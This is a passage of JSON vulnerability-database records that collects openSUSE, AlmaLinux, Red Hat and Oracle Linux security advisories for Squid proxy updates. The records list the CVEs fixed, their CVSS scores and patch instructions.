"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/2PLGSQEPKZX62EREA7UHDNEMHR3Z23A6/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-27T00:51:27", "description": "An update that fixes 12 vulnerabilities is now available.\n\nDescription:\n\n This update for squid to version 4.9 fixes the following issues:\n\n Security issues fixed:\n\n - CVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in\n cachemgr.cgi (bsc#1140738).\n - CVE-2019-12526: Fixed potential remote code execution during URN\n processing (bsc#1156326).\n - CVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in\n URI processing (bsc#1156329).\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request\n processing (bsc#1156328).\n - CVE-2019-18678: Fixed incorrect message parsing which could have led to\n HTTP request splitting issue (bsc#1156323).\n - CVE-2019-18679: Fixed information disclosure when processing HTTP Digest\n Authentication (bsc#1156324).\n\n Other issues addressed:\n\n * Fixed DNS failures when peer name was configured with any upper case\n characters\n * Fixed several rock cache_dir corruption issues\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.0:\n\n zypper in -t patch openSUSE-2019-2540=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-11-21T00:00:00", "type": "suse", "title": "Security update for squid (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12523", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12527", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-3688"], "modified": "2019-11-21T00:00:00", "id": "OPENSUSE-SU-2019:2540-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/5B7VIBHEUXO2VYU6NZTEL6I7K4WUKD7G/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "almalinux": [{"lastseen": "2022-05-12T14:58:00", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.11). (BZ#1829467)\n\nSecurity Fix(es):\n\n* squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n* squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n* squid: Improper input validation in URI processor (CVE-2019-12523)\n\n* squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n* squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n* squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n* squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n* squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n* squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n* squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n* squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n* squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n* squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour (CVE-2019-18860)\n\n* squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n* squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\n* squid: DoS in TLS handshake (CVE-2020-14058)\n\n* squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n* squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-03T12:32:17", "type": "almalinux", "title": "Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-11-03T19:54:15", "id": "ALSA-2020:4743", "href": "https://errata.almalinux.org/8/ALSA-2020-4743.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2021-10-19T20:39:44", "description": "Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nThe following packages have been upgraded to a later upstream version: squid (4.11). (BZ#1829467)\n\nSecurity Fix(es):\n\n* squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n* squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n* squid: Improper input validation in URI processor (CVE-2019-12523)\n\n* squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n* squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n* squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n* squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n* squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n* squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n* squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n* squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n* squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n* squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour (CVE-2019-18860)\n\n* squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n* squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\n* squid: DoS in TLS handshake (CVE-2020-14058)\n\n* squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n* squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 8.3 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-11-03T12:32:17", "type": "redhat", "title": "(RHSA-2020:4743) Moderate: squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-11-04T00:02:31", "id": "RHSA-2020:4743", "href": "https://access.redhat.com/errata/RHSA-2020:4743", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "oraclelinux": [{"lastseen": "2021-11-23T02:27:50", "description": " ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-11-10T00:00:00", "type": "oraclelinux", "title": "squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-11-10T00:00:00", "id": "ELSA-2020-4743", "href": "http://linux.oracle.com/errata/ELSA-2020-4743.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}
CVE-2019-12526
